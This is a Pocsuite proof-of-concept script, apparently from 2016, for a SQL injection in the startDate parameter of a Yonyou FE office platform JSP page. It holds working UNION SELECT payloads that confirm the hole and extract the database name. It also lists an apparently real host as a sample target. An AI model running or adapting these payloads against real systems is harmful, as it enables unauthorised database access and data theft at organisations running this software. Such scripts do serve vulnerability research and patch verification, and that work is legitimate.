UF FE office platform /assetsGroupReport/vendorContacts. jsp parameters startDate injection vulnerability

                                                #!/usr/bin/env python
# coding: utf-8
from pocsuite.api.request import req
from pocsuite.api.poc import register
from pocsuite.api.poc import Output, POCBase
import re
import requests

class TestPOC(POCBase):    
    vulID = ''  # ssvid
    version = '1.0'
    author = ['烽火戏诸侯']
    vulDate = '2015-08-31'
    createDate = '2016-8-28'
    updateDate = '2016-8-28'
    references = ['http://www.wooyun.org/bugs/wooyun-2010-072145']
    author = ['烽火戏诸侯']
    name = '用友FE办公平台 /assetsGroupReport/vendorContacts.jsp 参数startDate注入漏洞'
    appPowerLink = ''
    appName = 'yonyou_FE'
    appVersion = ''
    vulType = '注入漏洞'
    desc = ''' '''
    samples = ['http://fe.hy-la.com:8088']

    def _verify(self):
        result = {}
        vulurl = "{url}/assetsGroupReport/vendorContacts.jsp?unitCode=11&cVenCode=22&startDate=2012-01-01') UNION SELECT 1,2,3,4,5,6,7,8,char(126)%2bchar(111)%2bchar(126),10,11,12,13,14,15--".format(url=self.url.rstrip('/'))
        resp = requests.get(vulurl,timeout=15,verify=False)
        if '~o~' in resp.content:
            result['VerifyInfo'] = {}
            result['VerifyInfo']['url'] = vulurl
        return self.parse_attack(result)

    def _attack(self):
        result= {}
        vulurl = "{url}/assetsGroupReport/vendorContacts.jsp?unitCode=11&cVenCode=22&startDate=2012-01-01') UNION SELECT 1,2,3,4,5,6,7,8,char(126)%2bdb_name()%2bchar(126),10,11,12,13,14,15--".format(url=self.url.rstrip('/'))
        resp = requests.get(vulurl,timeout=15,verify=False)
        re_result = re.findall(r'~(.*?)~',resp.content,re.I | re.M)
        if len(re_result) > 0:
            result['Database'] = {}
            result['Database']['DBname'] = re_result[0]
        return self.parse_attack(result)

    def parse_attack(self, result):
        output = Output(self)
        if result:
            output.success(result)
        else:
            output.fail('Internet nothing returned')
        return output

register(TestPOC)